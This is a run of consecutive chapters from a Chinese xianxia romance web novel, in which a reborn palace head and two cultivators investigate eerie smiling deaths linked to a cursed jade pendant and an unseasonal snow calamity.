不过自己怎么会是登徒子呢?虽然前些日子她刚对他做出了那样的事——被对头强行逼迫做了那样的事,这些天谢止怕不是浑身都不自在,搞不好还会昼夜难昧,寝食难安吧。 想到若书给的画卷里的那条卷着尾巴擦眼泪的小蛇,贺玄青不得不承认,单是想到谢止因为自己的孟浪举动而紧张到手足无措却死活都干不掉自己的样子,她的心中就忍不住恶念顿起,想要把这人再欺负得更狠一点。 原先修行的无情道早废了,现在做事根本无需顾忌忍耐,念头兴起的刹那贺玄青就连一丝犹豫都没有,她顺应本心,对着谢止的唇瓣重重咬了下去。 她还是挺会克制自己的。 多年的禁欲生活让贺玄青养成了极为强大的忍耐力,贺玄青心下赞美自己,居然只打算咬一下就松口。 是的,她只咬了一口。 力道却没收。 尖锐的牙齿划破了谢止的唇瓣,猩红血液便随之涌了出来,黏糊糊粘在唇边,哪怕巫血之人血液不似常人那般腥臭,但这种粘腻感还是让贺玄青觉得并不好受。 已经像这样和谢止打过一次,贺玄青现在已经很熟练了,她做好了谢止会反咬回来的准备,并大度地做下了不咬回来的决定,毕竟是她先登徒子的,理亏在前。 但她的期待落空了。 谢止的手不知何时固定在了她的脖颈之上,修长的指节顺着后颈和后脑勺的位置发力,与她拉开了距离。 “巫血并非良药,不可贪多。” 谢止皱着眉道,他似乎是想通了什么,周身那种原先让贺玄青有些警惕的失控感消失了,又恢复了如往日那般清冷淡漠。 巫血内含着庞大能量,对修士而言具有致命的吸引力。他们渴求着力量,但力量对于他们而言是无法承受的,明知如此,体内迫切的渴望却让他们不得不索取更多。 饮鸩止渴的结局往往只有死路一条。巫血不可食这种道理,贺玄青早八百年便知晓。 这是以为自己是那些没有自制力的平常修士,在把自己当成他阁中弟子在训吗? 贺玄青心中原本还有些占人便宜的愧疚,但现在被谢止一激,她那点愧疚烟消云散。 谢止说不要,那她就偏要逆着这厮的性子,与谢止反着来。 贺玄青屏住呼吸猛得往后撞去,青芒自她眼眸一闪而过,想要绑缚住谢止的双手,人却趁着谢止松手的功夫往他面门直冲而去。 但这一次,贺玄青没有成功。 贺玄青根本想不到谢止这厮居然阴毒至此,在绿芒快要攻击触碰到他的身体之际,原本静谧昏暗的屋中骤然亮起刺眼白芒。无数耀眼雷光以谢阁主那张案台为中心蔓延,顷刻间便将三人笼入其中。 一切都发生得太快,那瞬间青芒回护的本能超过了贺玄青的命令,谢止站在漫天雷光之中,身躯却并不为这些雷电侵染,他冲着贺玄青伸手,以一种无可抗拒的姿态将那青芒捏在了手里。 谢止捏着掌心那不断扭动的绿色长虫,询问道:“我想问好久了,这是什么东西?” 在自己常呆的房间布下杀阵,也不怕误触了自己绞死自己。 这里的动静太大,摘星阁人随时都有可能闯进来。贺玄青依着 13. 第 13 章 《重生后和死对头he了》全本免费阅读 清晨。 今日天气明媚,虽时辰尚早,风波宫内却已有不少官员上值,人来人往织出稠密盛景,有微风拂起他们的衣袂、鬓发,穿过风波宫庄严巍峨的层层宫殿,最后落在了僻静角落里,一辆不起眼的马车身边。纯钧驾驶着马车自风波宫偏门驶出,蹄踢踏穿行于石板道路之间。 马车内,元丰有些委屈地缩在角落。 阁主说这次袭击阁中损失太大,需要与风波宫对接,帮助风波宫处理些杂事好方便风波宫抽调人手全力处理摘星阁事宜。元丰身为摘星阁的一员,自然义不容辞,领命前去。 但元丰看着身旁坐着的那个端坐着,似乎正闭目养神的貌美姑娘,心里有些崩溃。 打杂便打杂吧,那也不该是陪王公贵族的小姐外出踏青啊? 偏偏阁主临行前反复交代了,对风波宫的人,必须态度友好,阁主甚至将阁中信物交给了他。元丰能理解他们在外要展示出摘星阁的气度----- 虽然他实在不能理解阁主为何要将一件事交代那么多遍,也不理解区区踏青有什么好交代的。搞得好像是阁主把什么姑娘惹生气了所以要派个小弟出门陪笑脸说合一样。 虽然想了个很不恰当的比喻,元丰还是按照阁主的交代捏着鼻子硬摆出了副笑脸。他原是打算与贵族小姐套套近乎与她打好关系,奈何旁边的贵女表情臭得吓人,对他更是爱答不理,全程把他当空气。 她似乎余怒未消,但她有什么好生气的? 虽是被摆了脸子,但元丰倒也没有因此气馁。左右这姑娘生的气又不是冲着摘星阁,无论是与自己还是阁主都没什么关系。 元丰好歹是个修者,这等养气的本事还是有的,他在脑中默背清静经,不打算与个姑娘一般见识。 至于为何元丰会笃定这姑娘是王孙公卿家的贵女-----先不说她那出尘的容貌,单是看她周身仪态,还有那凌然不可接近的矜贵气质,十个人来有十个人都会如元丰这样推测;再者这姑娘身上没有修为,却有个修士伴在她身侧对她毕恭毕敬,唯命是从,不是贵族还能是什么? 当然还有一个原因,他曾在摘星阁禁地见到过这姑娘。 天衍很多贵族都有将自家儿女送去仙宗修行的喜好。传言以前的清禾公主便是如此,清禾公主自小便崇尚仙术道法,在清禾公主十二岁的时候,先皇帝便将自己最宝贝的这位女儿送去了摘星阁修行。 如今明初帝年轻还未留下子嗣,倒是不可能再送位公主上苍坪山,但天衍宫闱内还有许多其他贵族,托关系找上阁主也并不是完全没有这种可能。 至于他其实是在阁主床上见到的人这种事,元丰早就催眠自己忘了。 我家阁主绝对不可能做出这种事来! ....... 马车晃动几下,又开始平稳行驶起来。元丰偷偷观察着车内情形,他看到驾马的那位男性修士回过头,询问贵女: “江南白雪下了足足三日都未曾停歇,值此时节,会有此等天相实在反常。朝廷已派金羽卫前去救助灾民,我们也是要去江南吗?” 姑娘清越地声音响起:“除了江南,还有没有收到过什么消息?” “没有。”男人道,“三司都府每日都会向风波宫投递信件,这几日的我都亲自查验过。江南的天相异常还在可控制内,风雪涧的风雪也没有蔓延至其他地方。” 贵女拿指尖点着桌案,心情似乎更坏了:“不去江南,去照月城。” 男性修士什么话都没说,直接听命行事。他抬手自怀中掏出一块晶石按在马车车身上,这马车显然是经过专门设计过,侧面刻出凹槽用来镶嵌晶石,修士催动灵力,车身登时亮起一道蓝光。 他们两人表现得稀松平常,元丰却有些坐不住了。 那晶石表面莹润如月光,他一眼便认出来这是什么。 ——雪石,其内储存着大量能量,只要一枚便可满足一户家庭近一年的供暖需求,对于地处极寒之境的天衍用处极大。 雪石作为一种十分珍贵的能源,常年受到天衍朝廷把控,需要修行有成的修士辅以转换能源的机器才能最大限度的发挥其效用。但有些王公贵族为了炫耀自己身份尊贵,会让手下修士用直接的方式催动雪石,也就是那男性修士此时使用的方式。 明明都知道江南有雪患,不去救援就算了,还消耗那样珍贵的材料却只用来赶路。此等行为在元丰看来简直是暴殄天物,他有些急,勉强琢磨出了个和缓的用词:“姑,姑娘,既是踏青,不如缓缓行之,也可多看看沿路的风景。” 他原以为这句话也得不到回应,但一路上都没有搭理他的姑娘居然破天荒地开了口:“他和你说我要出门踏青?” 她虽然在和他说话,视线却始终徘徊在他的前胸,元丰有些不自然地驼着背,企图遮掩。 14. 第 14 章 《重生后和死对头he了》全本免费阅读 ........ “将浮雪莲用秘法提炼成雪石,一日千里也轻易便能驰骋而至,自从我们阁主改良出提炼浮雪莲的用法后,天衍国就再少见冻死的人了!” 元丰走下马车,他看着车上那枚莹润如月的晶石,忍不住称赞起来。余光却在偷偷拿眼角余光瞥着正站在前头与守城卫攀谈的贵女。 我的阁主信物! 这姑娘根本就听不懂人话,自己明明说话的意思是让她别用雪石了,不答应就不答应呗,为什么要抢他的东西。 元丰内心实在委屈,但他根本不敢回去找摘星阁求援。没完成阁主布置的任务是一方面,主要是他一个修士抢东西还没抢过个身上没修为的姑娘,要是被他那些师兄师姐知道,可以被嘲笑一辈子。 看着身旁正拴马的修士,那修士体内灵力能催动雪石驰骋那么久却不显露疲态,显然身份也并不简单。元丰走到他的旁边攀谈道:“兄弟,我看你修为极好,何必要委屈自己给人当车夫呢。” 那男性修士上下打量着他,态度居然很和善:“兄弟,其实我刚被贱人陷害,下了寒冰狱。” 他的唇瓣乌青,是寒气入体才导致的状况,这也佐证了他的发言。 元丰虽然是摘星阁的人,但也晓得风波宫的寒冰狱是个怎样的恐怖地界,登时吓了一跳:“怎会如此,兄弟可是犯下了何等不可饶恕的大错?” 他的这个问题似乎触动了那修士的某根神经,他清晰地看见那修士磨了磨后槽牙,说话咬牙切齿:“若非那位贱人暗害,我又怎会冒犯宫主?” 只是冒犯宫主便遭至如此后果,元丰大为震撼,脱口而出:“怪不得都说风波宫宫主是个锱铢必较的小人,竟然行事此等独断专横,可苦了你了。” “无事。”那修士深深看了他一眼,眼神格外意味深长,“你认识我们宫......啊不,是那位姑娘吗?” 他指了指前方正和守卫攀谈的女子,元丰也不含糊,将他认识贺玄青的经过都说了出来。他虽然不太想说那种场景,但又觉得阁主行得端坐得直,堂堂正正,哪怕躺在一张床上,也、也是没必要遮掩,干脆一五一十说了。 想必马车兄也不会误会。 修士似乎高兴极了:“原来还有这一茬,这么说是你们阁主蓄意勾引......他们脱衣服了吗?” 完全没有,反而想得更歪了。 “没,没有吧。”元丰严肃纠正,“不对,这和我们阁主有什么关系,退一万步说,我们阁主明明被压在下面,要勾引也得是她......” 背后造谣人姑娘实在有些过分了。元丰呸呸几声,纠正了自己的发言:“没有勾引。就是正常人情往来。” “哪有人人情往来是往一张床上滚的。”修士拍了拍他的肩膀,“放轻松,饮食男女,你们阁主又不是修炼童子功的,都多大年纪了,做出这种事有什么好奇怪的........不过,他第二日起得来床吗?” “阁主每日辰时便会开始批阅公文,从未有推迟的时候。”后知后觉的明白过来修士说的是什么意思,元丰气红了脸,没忍住爆了粗口,“你放屁!我们阁主龙精虎猛,怎会起不来床......不对,他们什么都没有发生!什、么、都、没、有!” 他自家冰清玉洁的阁主被这人屡次三番污蔑,元丰简直要被气死了,恨不得当堂与他决斗。 修士却似乎高兴极了:“不管怎样,听到那小贱人没机会我就开心了,到时候请你喝一杯。” “什么机会?”元丰不明所以,还想再问却被一道声音打断。 “二位。”也不知前方贵女对他说了什么,守城卫向二人走来,打断了二人交流,表情好像十分欣喜,“你们可是摘星阁来的修士。” 此处还不是照月城,是临近照月城的一座小城,马车之所以停在此处,是因为天衍有规定,路过某些特定城区时需要路引才可通行。 现场就元丰一个能算作摘星阁修士,他望向贵女,正想询问原由,却看那女人冲着他摇晃着手腕,上面挂着的正是阁主给他的信物。 有把柄受制于人,只得隐忍。元丰被逼无奈,只得从腰间抽出了块令牌,递到了那守城人面前,硬着头皮道:“在下元丰,是从摘星阁出来历练的弟子,还望兄弟行个方便。” 摘星阁行事还留有老派仙宗的作风,时不时便会派出弟子历练,斩妖除魔。元丰不擅长撒谎,只照实说了自己是摘星阁的弟子。但他们三人同行,守卫自然便将他们三人都认作了摘星阁出来历练的弟子。 验证了身份,守卫喜出望外:“请三位留步,我们郡守想见您。” ........ ........ 起先是这郡县失踪了个孩子,等三日后焦急的父母在山林间找到的时候,那孩子已经失去了呼吸。小孩的父母万分悲伤,最后只得将孩子收敛入葬。 那小孩的死亡似乎是个开始,在小孩死后不久,城里接连出现了好几个同样死状的亡者,皮肉筋骨全都没有外部损伤,死亡时脸上被还挂着诡异的恬静笑容。 在自己的辖区发生了这种事,也难怪当地郡守会急成这副样子。 原先元丰还对贺玄青蹭他令牌的事情颇有不满,但看见镇子里发生了这样的事,元丰也不再纠结这些细节,心思全都放在了案件身上。 大家都在讨论案件本身,只有贺玄青却似乎对郡守那张摆在窗边的小方桌很感兴趣:“这里还留了印子,原本有放东西吗?” “镇里死的那些人.......”郡守:“啊,这里原是有尊掐丝珐琅的花瓶,花了我大价钱,不过前几日夫人嫌弃里头花开得不好看,便让府里管家端下去了。” “这屋子没有花瓶点缀确实不好看,郡守方便将它拿回来吗?” 郡守支支吾吾:“我,我.......我会吩咐管家去采买。” 贺玄青:“你中间那张桌子边角有破损,很不整洁。” 郡守摇了摇头:“我从未注意道这些细节,可能是下人粗手粗脚碰坏了吧,请小友多多包涵......” “地毯有些脏了,郡守多久换一次?” “七日前才换过。”这些问题简直就是在挑刺,郡守被问得有些不耐烦,“我们还是接着讨论镇里发生的这些案子吧。” “屋里还有熏香,郡守很讲究生活意趣呢。”贺玄青却没理他递出来 15. 第 15 章 《重生后和死对头he了》全本免费阅读 “你很讨厌风波宫宫主?”元丰瞪着眼睛的表情实在有些好笑,贺玄青笑着开口,随口给他解了围,“你觉得她很恶毒,你们摘星阁的人都这样想。” 元丰噤了声,他思索半晌,却是摇了摇头。 “我其实不讨厌她。”元丰小声道,“我们阁主研制出雪石。风波宫宫主改革了律法,还在百姓间发行能帮助普通人修行的入门书册。两位前辈这些年所做之事都是为了黎明百姓,都是值得敬仰的。” 摘星阁和风波宫各有各的立场,两者之间除却两位阁主宫主的私怨,大家大部分时间都只是在为了己方立场争斗。毕竟风波宫里全是以武道入修的修士,而摘星阁则基本都是以心法修行的,他们就对彼此的态度就像是南北方人对粽子的甜咸之争,互相觉得自己修行的道法才是正统,视对方为异端。 立场之争不分对错,但如果没有宫主编纂的那些供给百姓修道的基础入门书册。 他这辈子也入不了摘星阁。 说到此处,元丰难过起来:“两位都是好人啊,这一直以来为何要互相争斗呢.....” 还是有关系好的时候的。 贺玄青看着手腕上的那串细链,青色的宝石正伴随着她的呼吸闪动着幽微光芒,在心中默默纠正了他的发言。 不过那实在太过久远,贺玄青早就忘了。 三人搜寻了整整一日,却毫无收获,类似于城西死了个寡妇,城东死了个屠户.......这些人真的就和那郡守说的一般,这些死者死前并未相见,身形体貌年龄各不相同,也没有同去过什么地方,完全找不到任何相似的痕迹。 因为当地居民接连死亡,他们将那些不明死亡的尸体尽数烧灼成了灰烬,不过这种举措显然并未遏制死亡的传播,最近又死了几个。 “弟子能力有限,事到如今,为了避免更多百姓受害,我得通知阁主。”元丰自荷包里掏出传讯符,只要点燃便能千里传音,通知阁主。 贺玄青看了他一眼,没有制止。 她的面前放着一卷书册,上面绘制着城区的大致地图,他们刚刚已经在这上面标记了死者,贺玄青的手指点着一个方位,对纯钧道:“这是郡守的住宅。” 纯钧:“有什么问题吗?” 郡守住在城区东侧,是个较为僻静的地方,这是官员自行购置的房产,只要金钱来源正规没有强买强卖现象,风波宫不会插手,所以官员住哪儿都不奇怪。 “你有没有觉得,这里距离照月城太近了吗?”贺玄青将另外绘制着照月城地图的宣纸撕开,将两者拼合在一处,而后提笔在照月城区的某些地方同样圈了圈。 她似乎发现了什么,眼瞳中闪着光彩,亮闪闪地好看极了,表情却越发凝重严肃。 最后,她在地图上画了个圈。 那是个很大的圈,以郡守居所为圆心涵盖了所有圈出来的死人地点。毛笔在宣纸上晕出痕迹,朱砂鲜红如血,刺眼至极。 “三月后,照月城出现史无前例的巨大祸患,祸及周围边城,周遭城镇尽毁。”贺玄青死死盯着地图,“我原以为是照月城出了事故,如今看来,祸源不在照月城。” 都是些人烟稀少的边陲小城,出事了也无人在意,三司害怕担责不敢上报,等到再也遮不住的时候,事情已然到了无法解决的地步。在她被蛊毒折磨得痛不欲生的时机,绪冥却不远万里跑去照月阁解决了难题,这桩事也成了他继任风波宫以来的最大政绩。 可等到她死后才知晓照月城有异宝现世,祸患因之而起,吸收足了人命才成长到了某种可怕的地步,但这宝物对修士而言却无害,反而对他修行的傀儡术大有裨益。绪冥将之炼化,制成了自己的本命法器。 当真是轻而易举便名利双收,好处占尽。 贺玄青哂笑着模仿在书中学到的用词:“金手指......吗?” 纯钧没有听懂她的话,疑惑道:“什么意思?” “无事。”贺玄青唇角带着冷笑,“去郡守府吧。” 书里说绪冥有着特殊的能力,他能够隐约感应到各种宝物的方位状态,选择适当的时机收割。所以他与其他修士不同,他不需苦修,更不需要生死历练,便能轻易达成其他修士或许终生不可达到的成果。 那我便要你亲眼看着,贺玄青想——你的金手指,现在归我了。 ......... 郡守府。 郡守脸上还挂着那张笑眯眯的表情,如往常般那样配合:“小友,可还有什么事?” 元丰脸上藏不住事,贺玄青和纯钧上前挡住了他的身形,代为发言:“这些天,府中可有什么异动?” “没有。”郡守不假思索回答,“小友可是查出了什么东西?” 贺玄青故作迟疑:“只是有些推测,不知道当讲不当讲。” 郡守:“小友直说便是。” 贺玄青拿出地图,指着圆心的那个建筑,说得煞有介事:“这是七煞聚鬼局,郡守府就在这个阵眼中心。” 说得听上去很有道理,但懂行的人都晓得贺玄青就是在胡言乱语,这等神棍发言居然还能面不改色地讲得有模有样。元丰都有些替她脸热。 郡守却是不懂的,他表情空白了一瞬:“真,真的吗?可还有解决的法子?” 贺玄青沉思着:“我学艺不精,只依稀记得,这阵法一旦形成,怕是不死人还好,若是死人,那便彻底停不下来了。” 她越说,郡守表情就越不自然。 贺玄青观察着他的表情,说完了最后一句:“不过我看你府中并无丧期,应当无事。” 她的安慰完全起到了反效果,郡守表情就像是快要哭出来。 “死,死过人的。” 他带领众人来到了府中酒窖门口,那里赫然藏着一具蒙着白布的尸体,郡守站在酒窖门口,根本不敢靠近:“仙长,此人是我府中女眷。就在前天忽然暴毙,死在了我府上,因为死状和那些居民太过相像,实在吓人。我们我们都不敢动,就停在这里了。请仙长救、救命。” 郡守声音都在打颤,看上去有些可怜,可他居然隐瞒了这样重要的信息,若贺玄青不试探,他们还被郡守蒙在鼓里。 元丰哪怕脾气再好都有了几分怒意,他正想质问,却感觉到身后传来一道风声。 贺玄青直接自他身旁跨入了酒窖,一把将那白布掀开。 “你......”贺玄青的动作太快,元丰根本来不及阻止,大惊,“好歹做做准备措施。” 听着郡守描述的案件那样古怪,万一这些人的死亡真的会传染,岂不是在场的人都会中招? 贺玄青却没有理他,她皱着眉,看表情似乎是有些不敢置信。 元丰顺着贺玄青的视线望向躺在地上的女尸,那女尸极年轻,她漂亮的脸上挂着恬静笑容,和郡守描述的那些居民死状毫无二致,但女尸的胸前,却空了一个巨大的洞。 “为什么会有洞?”元丰凑上去想要细看,却看贺玄青已经走到了郡守身前。 “只死了一个人吗?”贺玄青声音紧绷着。 郡守迟疑不决:“这……” 贺玄青冷笑:“我们都是有心帮你才会留下,若再隐瞒下去,怕是神仙都救不了你。” 郡守从怀中掏出巾帕,像是极紧张地擦了擦额头上的汗珠:“其实……不止......可……” 贺玄青:“郡守,如果你再隐瞒,就别怪我们离开了。” 这等偏远小镇想要再等个修士怕不是要等到来年去,郡守额头冷汗直冒,终究做下了决定:“七日前,城中来了个不速之客,那是个金羽卫......” 那金羽卫浑身是血,奄奄一息,说自己来自隔壁的照月城,城中出了个了不得的恶事,他们统领将军选择自己留下独自面对危险,而他们一干兄弟则得将军荫蔽,逃了出来。 但在逃离的路 16. 第 16 章 《重生后和死对头he了》全本免费阅读 那令牌龙飞凤舞刻着风波宫三个大字,字体旁还盖着圣上宝玺,是普通人不敢也断然伪造不出来的。 “你是风波宫的人?!” 两道声音重合,一道带着三分绝望、三分痛心、三分撕心裂肺,对比之下,反倒显得另外一道平庸至极,就像是在单纯陪衬。 郡守回头被元丰一嗓子叫得好半晌才找回原来的情绪,回过神指责贺玄青:“信口雌黄!你有证据吗?” 贺玄青深深看了他一眼:“金羽卫都死了,现在能进京的除了你拢共就三个人,还都是自己人,我需要什么证据?” 她话说得无比直白,郡守也听懂了。 言下之意是打算让他直接死在这里。 像是在佐证她的发言,纯钧取出背在背后的刀鞘,宝刀出鞘,锐利寒光差点闪瞎郡守的眼睛。 不怕那些人走流程按照程序办事,怕就怕黑吃黑,郡守原先的底气没了。他犹犹豫豫有些想叫人,又害怕这群凶恶之徒恼羞成怒,直接撕票。 与他相比,贺玄青就显得自在很多,她坐在那张死过人的椅子上,指节不耐烦地叩击着桌面:“老实交代,东西藏在哪?” 风波宫常年凶名在外,传言这世上就没有他们撬不开的嘴。 郡守以前是觉得风波宫刑法严苛,让那些被审问的人不得不折了脊梁,被迫吐露真相。 现在看来,非是用刑,而是攻心。 可怜他明知这是威胁,却也无计可施,只能听从那个女人的安排,但是…… 郡守知道自己这一次闯下了多大的祸事,如今事情败露,被风波宫抓去早晚也是一死,他还是打算争取:“我……” 啪! 郡守昏了过去。 元丰看着刚刚用刀柄敲晕郡守后还在若无其事收刀的纯钧,视线飘忽不定。 “还不到火候。”对于这个刚刚没有跑来搅局的小子,纯钧还是比较宽容的,他和善地冲着元丰解释了一句。 “不是这个原因。”元丰的声音里带着些许哭腔,他茫然地盯着手中符箓,像是极不敢置信, “从白日开始,我就已经联系不上阁主了。” 说罢,他当着众人的面捏出传讯符纸用灵力点燃,那符箓却没有如人们预想那般飘入半空,而是在他的指尖猝然化为了飞灰。 类似的灰尘在他的脚边积了厚厚一圈,显然同样的操作,元丰已经试过很多次。 “以往从未出现过这种情况。”元丰哆哆嗦嗦,“阁主,得尽快联系阁主。” “不用试了。”贺玄青提醒他,“你看窗外,下雪了。” 如今不过初夏,怎么可能下雪呢? 可随着贺玄青的话音落下,元丰的身体好像也感受到了几分凉意,有雪花自未关紧的窗框中飞进了屋子,落在地上融化消弭于无形间。 元丰是修士,所以他能看得更深几分,他看见这雪上附着着薄薄阴气,也正是依靠着这些阴气支撑,这些雪片才会在这样的时节现于人前。 但无论如何,这绝对不是正常天相。 “这什么玩意儿!”这回发出声音的人是纯钧。元丰转过头,看见纯钧还站在刚刚打晕郡守的地方,此时正抬脚将趴在地上的踹得翻了个面,只见原本昏倒的郡守脸上忽然带上了笑容,像是做了个美梦。 “呵呵……升官……呵呵……我要升官啦……”他嘴角带着笑,嘴里不断喃喃着,“.......发财.......” 这笑容和城里描述的那些居民死前情况相同,很显然那未知的力量在短短半天就有了显著增强,可他们却对此一无所知,更无对付它的头绪。元丰拼命想要联系自家阁主,却始终得不到回应。 那女人手段厉害,但她没有灵力,面对这种程度的灾祸,她注定无能为力。只能靠他与纯钧二人抵抗。 可通知不到阁主,就凭他和纯钧如何能抗下来这场灾祸,他们会不会全部都不明不白死在这里! 元丰头一回经历生死劫难,紧张到嗓子都有些发干。但他吞了吞唾沫,想回头看看小伙伴们的反应,却看他们一个蹲着身子像是正在研究那官员身体构成,还有一个甚至走到了窗边神游天外。 两个人都没有怪物逼近的自觉,对比之下,倒显得他小题大做大惊小怪。 元丰蔫蔫站在原地。 “你知道这是什么吗 17. 第 17 章 《重生后和死对头he了》全本免费阅读 在贺玄青还在探究着这场雪祸提前的原因之时,却听到耳边时不时传来呜呜哭声。她忍不住回头,看见了正在抹眼泪的元丰。 “我被困在此处,可阁主还不知这件事,不知道会不会担心。”元丰忧心忡忡道,“阁主教给过我在符纸联络不到的时候如何施展法门遁逃,可我忘了,呜呜呜……要是以前好好学习就好了呜呜呜呜呜呜……嘶,怎么感觉有股杀气。” 腕间传来轻微晃动声响,贺玄青垂眸看向手腕上的挂坠,宝石依旧光华璀璨,里头那青色的眼瞳此时正落在元丰身上,眸中像是正在孕育可怕风暴,正在往外唰唰放着冷刀。 你家阁主不仅知晓此事,好像还看出了你没好好学习。 贺玄青心善,打算先掩藏起这件事,让这小弟子能开心几天是几天。 她面上带着微笑,对元丰道:“不必担心,我有解决方案。” 既然想不出雪祸为什么提前,那就直接解决好了。 ....... 在雪祸的话题上,贺玄青对元丰展露出了十足的耐心:“浮雪会在城区形成“场”,灵力和生灵皆不可出,我们已经不能出去了。但万物都有其成因,如果能找到行成“场”的媒介,便能解决雪祸找到出路。”贺玄青道,“现在要紧的不是你我性命.....” “对,现在要紧的是先通知阁主,阁主一定能想出方法来。”元丰接过话茬。 贺玄青深深看了这青年一眼,不明白他为何会对谢止那样执着:“城区住着那么多百姓,放任浮雪祸蔓延,会造成不可估量的损失。” “哦哦,对。”元丰反应过来,“可源头在何处?” 看他是打算一点脑子都不打算动了,贺玄青转头,看向倒在地上的郡守:“纯钧。” 纯钧本就在蹲着研究这人的身体,闻言毫不含糊,重重抽了那郡守好几个耳光。 啪啪声响让元丰听着都觉得脸疼,但郡守纹丝不动,甚至笑容还更加恬静了几分。 而他的前胸,正以肉眼可见的功夫变得干瘪下来。元丰能想象得出浮雪莲在其间生长的画面,想要干呕,却又硬生生忍住。 纯钧摊了摊手,示意自己无能为力。 “这种已经快要被转化成雪魄的人,基本是没得救了。”贺玄青皱着眉,“不过若是施行咒术,或许能延缓其衰亡的时机。” 元丰重新振作了士气,面露憧憬望向贺玄青,而后他便看到贺玄青正以同样鼓舞表情看着他。 两个人对视着,都从彼此脸上看出了尴尬。 “我没灵力。”贺玄青说得理所应当。 “我不会。”纯钧眨着眼睛,“你们摘星阁的人不是最擅长画这些鬼画符了吗?” “那不是符箓不需要用笔,咒术是种法诀,只需要口口相诵就好。”曾经没好好用功在如今有了孽力回报,元丰尴尬给自己找补,“但这种类型的咒术阁主一定知道,要不我们还是先试试看怎么联系上阁主。” 他又从怀中掏出一把传讯符,奋力尝试点燃。 元丰自己都觉得自己提的这个建议毫无作用,但贺玄青若有所思地看着他,居然称赞了几句。 元丰受宠若惊,然后便听见窸窸窣窣的声音响在身侧,元丰眼睁睁看着贺玄青从碗口拿出链子,企图往郡守胸口上放。 “住手!”元丰惨叫出声。 不要拿阁主信物做这种事啊!那地方那么脏,没看见项链上的宝石都在往后躲了吗? 语言制止对贺玄青向来是无用的,她简直就是郎心似铁,以一种毋容置疑的姿态将宝石强行按了下去。 宝石在郡守胸前躺出了股生无可恋的感觉,就连里头的蛇瞳都紧紧闭了起来,仿佛已经心死。 贺玄青好奇地拿指尖戳了半晌,蛇瞳不堪其扰,又睁了开来,链子轻巧地缠绕上她手腕,力道却不是很大,犹犹豫豫的,比起在推拒,更像是在撒娇求饶。 贺玄青思索片刻,拿指腹轻轻揉了揉宝石的腹侧。 蛇瞳骤然放大,淡淡青色光点自其身侧蔓延而出,顷刻间便充满了郡守空瘪的心脏。 郡守眼皮下的眼球不断颤动着,他脸上的笑容彻底消失了,取而代之的是暴起的青筋,郡守汗如雨下,像是遭受了莫大的痛苦,忽然,他睁开眼睛。 “动了动了!”元丰惊喜道。 光芒缓缓消散,宝石又恢复了之前生无可恋的模样,内里的蛇瞳瞟了贺玄青一眼,赌气般转了一面,用后背对着她。 这绝对不是谢止。 贺玄青想。 某人拒人于千里之外的冷淡表情自脑海中闪过,与这颗宝石虽然容貌相像却根本没有一点相似之处,她现在不觉得这眼睛是谢止的分身了,或许同性相吸,这是谢止打哪座山里捡来的同类也说不定。 毕竟谢止绝对不可能如此的........贺玄青盯着背过身不理会自己的蛇瞳,思索半晌才想出了个勉强能用来形容的词汇:“可爱。” 蛇瞳微微眯起,看上去有点害羞,身体又转了转,悄悄离贺玄青方向侧了侧。但下一秒,它就失去了重心。 贺玄青颇有些嫌弃得将项链提起,拿绢帕擦了半晌才肯将坠子重新缠绕上手腕,对它命令道:“刚才那个,再表演一下。” 啪! 小小电弧自宝石上闪过,重重打在了贺玄青的手背,发出啪嗒地脆响。 像是逆着摸猫咪的毛被忍无可忍的猫用爪垫扇了一下,声音很响,却不疼,反倒酥酥麻麻的。贺玄青非但不生气,反倒想再招惹得更狠一些,可惜宝石死死闭着眼,不管她怎么戳都再没了回应。 耳边传来一阵喧哗,贺玄青转过头,看见了那边闹哄哄的场景。 郡守看见自己胸前的坑洞,吓得惊叫出声,恨不得抱着他大腿求饶:“你们不是修士吗?快来救我,救我!你们快去通知三司,让他们快遣人来。” 明明之前百姓死的时候表现得事不关己,但到了自己性命垂危的时刻,这个男人反倒将功名利禄抛到了脑后。 元丰对这种人实在给不出好脸,能忍着不出手已然是极限,好在此时也不需要他来开口。 “你把东西藏在哪里?”纯钧冷声发问。 郡守眼神游离:“没,没有东西......” “都到了这个地步还想掩藏,你没有意识到现在的危险程度吗 18. 第 18 章 《重生后和死对头he了》全本免费阅读 彼时的郡守还有些理智,知道人家不可能平白无故给他好处。 但那高人给了他这枚玉佩,告诉他只要将这枚玉佩放在府中,便能保他郡守府平安安宁。 他知晓这高人所作所为怕不只是帮助升官他那么简单,但他有了玉佩护身,能保全自身,便不太在乎了。 “在我任期的前四年,确实万事顺心,我想做的事都能成功,原本需要外出八年的历练也因出色的政绩被缩减成了五年便可回京。” “这四年的一切都太顺了,顺得我都有些害怕。可我又始终抱有侥幸,觉得这代价或许不会如他所说的那样应验。”郡守哆哆嗦嗦将玉佩捧在手心,把事情吐露了个干净,“如今只剩下最后三月,我本想着安稳度过就好,却偏偏找上来了个金羽卫......" 他听着金羽卫的诉说,心下无比慌乱,这些年这玉佩上的花纹越发清晰,也越发诡异妖邪,他清楚地知道照月城这件事肯定与他有联系。 这件事与他息息相关,他又怎敢放他真的汇报给三司,让上头派人来查他自己。 “我没想杀人的。”郡守抹了抹脸,“我只是想拖延一段时间而已。” 可那金羽卫实在太过警惕,他不过说了几句就开始起疑,郡守无可奈何,便假借邀请金羽卫去府中喝茶为由头,用花瓶敲碎了他的脑袋。 “后来,我的辖区也开始死人,新纳入府中的小妾离奇死在府中,死状与外面那些人一模一样,我知道,玉佩的庇佑失效了。” 五年前他也曾有过相似的担忧,给他玉佩的高人意味深长,说若是等到了那一天,他就会明白。 两日前,他看见小妾尸体上生长的冰花,忽然就明白了高人所言的含义。 玉佩失去了作用,他急着去找新的替代品,那玉佩雕刻的婴孩在接触到冰花的刹那嘴角带笑,他便取下了冰花,放到了玉佩旁边。 府上终于安宁了几日,可几日后,雪祸终究还是蔓延到了他的头上。 郡守说到此处,痛苦地捂住眼睛:“我不想杀人啊,我明明不想如此的,若我早知道会遭至这种后果,我当初绝对不可能会选择收下这枚玉佩……我只是不甘愿在此处做个小官,我只是、我只是想回京而已啊……” 他说得悲伤凄厉,贺玄青却压根没有没有放在心上。 事情的真相与贺玄青推测的走向大致相同,她自继任风波宫后早听惯了各种故事,对凶手的心绪历程更没有半点关心。 她看着郡守手中的玉佩,陷入了思考。 这玉佩在原书里虽然被绪冥收为本命法器,但如今这法器尚未认主,的确是她收服的好时机。 玉佩唾手可得,到了现在基本已经能算得上是贺玄青的囊中之物,可拿到玉佩之后,她还想做什么呢? 手腕上的宝石微微晃动,银链宛如小蛇般顺着她的手腕缠绕上她的小指,从刚刚开始就一直在催促她赶快将玉佩收为己用。 贺玄青却没有理会。 